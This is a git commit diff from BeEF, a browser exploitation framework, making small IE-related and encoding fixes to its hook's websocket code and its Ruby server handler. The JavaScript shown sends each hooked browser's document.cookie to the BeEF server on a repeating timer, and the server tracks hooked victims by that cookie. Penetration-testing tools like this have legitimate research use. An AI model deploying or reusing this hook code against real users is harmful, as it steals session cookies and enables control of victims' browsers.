Corrected issues on IE browser (IE8 IE9) to check IE6 -IE7

Corrected Issues whit character encoding
This commit is contained in:
Graziano Felline
2012-04-20 19:17:34 +02:00
parent c83e7d584e
commit 97c2649e36
3 changed files with 8 additions and 5 deletions

View File

@@ -98,8 +98,7 @@ beef.net = {
//todo this is necessary because at start could happened that ws in not still up and the browser try to send back browser info via websocket and failed
this.queue(handler, cid, results, callback);
this.flush();
console.log("error in send " + e);
}
}
}
},

View File

@@ -21,6 +21,8 @@ beef.websocket = {
socket:null,
alive_timer:5000,
init:function () {
var webSocketServer = beef.net.host;
var webSocketPort = 11989;
@@ -61,7 +63,7 @@ beef.websocket = {
alive: function (){
beef.websocket.send('{"alive":"'+document.cookie+'"}');
console.log("sent alive");
setTimeout("beef.websocket.alive()", 5000);
setTimeout("beef.websocket.alive()", beef.websocket.alive_timer);
}

View File

@@ -53,6 +53,7 @@ module BeEF
@@activeSocket["#{messageHash["cookie"]}"] = ws
print_debug("In activesocket we have #{@@activeSocket}")
elsif messageHash["alive"] != nil
#@todo browser could be not in bd so we have to add it
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"].gsub("BEEFHOOK=",""))
hooked_browser.lastseen = Time.new.to_i
hooked_browser.count!
@@ -62,14 +63,14 @@ module BeEF
else
#json recv is a cmd response decode and send all to
#we have to call dynamicreconstructor handler camp must be websocket
print_debug("Received from WebSocket #{messageHash}")
#print_debug("Received from WebSocket #{messageHash}")
execute(messageHash)
end
end
end
rescue Exception => e
print_error "Hooked browser from origin #{ws.origin} abruptly disconnected. #{e}"
end
end
end
}
@@ -100,6 +101,7 @@ module BeEF
command_results=Hash.new
command_results["data"]=Base64.decode64(data["result"])
command_results["data"].force_encoding('UTF-8')
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(data["bh"])
(print_error "command_id is invalid"; return) if not BeEF::Filters.is_valid_command_id?(data["cid"])
(print_error "command name is empty"; return) if data["handler"].empty?